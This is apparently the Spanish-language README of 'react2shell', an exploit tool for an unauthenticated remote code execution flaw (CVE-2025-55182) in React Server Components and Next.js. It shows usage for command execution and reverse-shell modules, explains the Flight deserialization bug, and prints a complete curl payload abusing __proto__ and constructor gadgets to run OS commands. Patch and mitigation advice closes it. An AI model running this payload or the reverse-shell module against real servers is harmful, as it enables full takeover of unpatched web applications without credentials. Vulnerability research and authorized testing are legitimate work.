CVE-2025-55182 — RCE no autenticado en React Server Components (React2Shell). Herramienta de exploit CVSS 10.0 para pruebas de penetración autorizadas.
RCE sin autenticación en React Server Components mediante deserialización insegura del protocolo Flight. Una única petición HTTP es suficiente para ejecutar código arbitrario en el servidor: no se necesitan credenciales ni acceso previo.
_____ __ _ __
/ ___/____ ___ ____ _/ /_| |/ /
\__ \/ __ \/ _ \/ __ `/ __/ /
___/ / /_/ / __/ /_/ / /_/ |
/____/ .___/\___/\__,_/\__/_/|_|
/_/
React Server Components — Flight Protocol RCE
CVE-2025-55182 · CVSS 10.0
Author: SpeatX · OSCP Style · v1.0
CVE-2025-55182 · CVSS 10.0 · Sin autenticación · RCE pre-autenticación · Divulgado el 3 de diciembre de 2025
Afecta a React 19 (≤ 19.2.0) y a cualquier aplicación Next.js que utilice Server Actions. Las configuraciones por defecto son vulnerables: no se necesita código personalizado en el lado del objetivo.
Versiones afectadas
| Paquete | Vulnerable | Corregida |
|---|---|---|
react-server | 19.0.0 → 19.2.0 | 19.3.0+ |
next | todos con React 19 sin parchear | 15.0.5 / 15.1.9 / 15.2.6 / 15.3.6+ |
git clone https://github.com/SpeatX/react2shell
cd react2shell
pip install requests
Se requiere Python 3.8+. No hay otras dependencias.
python exploit.py <module> -t <target> [options]
Modules:
check Fingerprint target and confirm vulnerability
exec Execute a single OS command and read the output
revshell Send a reverse shell to your listener
Options:
-t, --target URL Target URL
-c CMD Command to run (exec module)
--lhost IP Your IP (auto-detected from tun0 if not set)
--lport PORT Listening port (default: 4444)
--shell-type TYPE bash · python3 · nc · mkfifo · node (default: bash)
--proxy URL Route through a proxy (e.g. http://127.0.0.1:8080)
--random-agent Rotate User-Agent on each request
--timeout N Request timeout (default: 15)
Flujo de trabajo recomendado: comience siempre con check:
# 1. Confirm the target is vulnerable
python exploit.py check -t http://10.10.11.50
# 2. Run commands to enumerate or grab flags
python exploit.py exec -t http://10.10.11.50 -c "id"
python exploit.py exec -t http://10.10.11.50 -c "cat /root/root.txt"
# 3. Get a shell when you need interactivity
# (start your listener first: nc -lvnp 4444)
python exploit.py revshell -t http://10.10.11.50
python exploit.py revshell -t http://10.10.11.50 --lhost 10.10.14.5 --lport 4444
python exploit.py revshell -t http://10.10.11.50 --shell-type python3 --lport 9001
El soporte de proxy y el User-Agent aleatorio funcionan con cualquier módulo:
python exploit.py check -t http://10.10.11.50 --proxy http://127.0.0.1:8080
python exploit.py exec -t http://10.10.11.50 -c "whoami" --random-agent
python exploit.py revshell -t http://10.10.11.50 --proxy http://127.0.0.1:8080
Ayuda por módulo: python exploit.py <module> --help
React Server Components se comunican mediante un formato de streaming interno llamado protocolo Flight. Cuando un navegador invoca una Server Action, envía un POST multipart/form-data a la raíz de la aplicación con una cabecera Next-Action. El servidor pasa el cuerpo al paquete react-server para su deserialización antes de hacer cualquier otra cosa, incluida la validación del ID de la acción.
Browser Node.js / Next.js
│ │
│── POST / ────────────────────────>│
│ Next-Action: x │
│ Content-Type: multipart/form-data│
│ Body: poisoned Flight chunk │
│ │
│ react-server │
│ resolveModelToJSON() │ ← vulnerable
│ │
│<── 307 + X-Action-Redirect ───────│ output here
Dentro de resolveModelToJSON(), el deserializador recorre el fragmento JSON entrante. Cuando encuentra un objeto con una propiedad then, lo trata como una Promise y espera a que se resuelva; un comportamiento intencional para Server Components asíncronos. El problema: no se realiza ninguna validación para confirmar que el thenable proviene de una fuente confiable.
Un atacante inyecta un fragmento falso en el cuerpo multipart que contiene una propiedad then que apunta a require('child_process').execSync(...). React espera a que se resuelva y el comando del sistema operativo se ejecuta.
Next-Action: xEn producción, las Server Actions se identifican mediante un hash SHA. El servidor debería validarlo antes de procesar la solicitud. Pero el decodificador Flight se ejecuta antes de esa comprobación, lo que significa que cualquier POST con una cabecera Next-Action, incluso una completamente falsa como x, activa la ruta de deserialización vulnerable. No se necesita un ID de acción válido.
El código inyectado captura la salida del comando y lanza un error NEXT_REDIRECT manipulado:
var res = require('child_process').execSync('<cmd>').toString().trim();
throw Object.assign(new Error('NEXT_REDIRECT'), {
digest: `NEXT_REDIRECT;push;/login?a=${res};307;`
});
Next.js lo captura y lo convierte en un 307 Temporary Redirect, incrustando el digest en la cabecera de respuesta X-Action-Redirect. La salida del comando llega codificada en URL:
HTTP/1.1 307 Temporary Redirect
X-Action-Redirect: /login?a=uid%3D0%28root%29%20gid%3D0%28root%29;307;
curl -si -X POST http://TARGET/ \
-H 'Next-Action: x' \
-H 'Content-Type: multipart/form-data; boundary=----Boundary' \
--data-binary $'------Boundary\r\nContent-Disposition: form-data; name="0"\r\n\r\n{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\\"then\\":\\"$B1337\\"}","_response":{"_prefix":"var res=process.mainModule.require(\'child_process\').execSync(\'id\').toString().trim().replace(/\\\\n/g,\' | \');;throw Object.assign(new Error(\'NEXT_REDIRECT\'),{digest:`NEXT_REDIRECT;push;/login?a=${res};307;`});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}\r\n------Boundary\r\nContent-Disposition: form-data; name="1"\r\n\r\n"$@0"\r\n------Boundary\r\nContent-Disposition: form-data; name="2"\r\n\r\n[]\r\n------Boundary--\r\n'
La salida está en la cabecera X-Action-Redirect, codificada en URL después de /login?a=.
npm install react@latest react-dom@latest next@latest
Mínimo seguro: react-server ≥ 19.3.0 · next ≥ 15.3.6
Si no es posible aplicar el parche de inmediato:
experimental: { serverActions: false } en next.config.jsNext-Action a nivel del proxy inversoNEXT_REDIRECT o __proto__Solo para pruebas de penetración autorizadas y con fines educativos.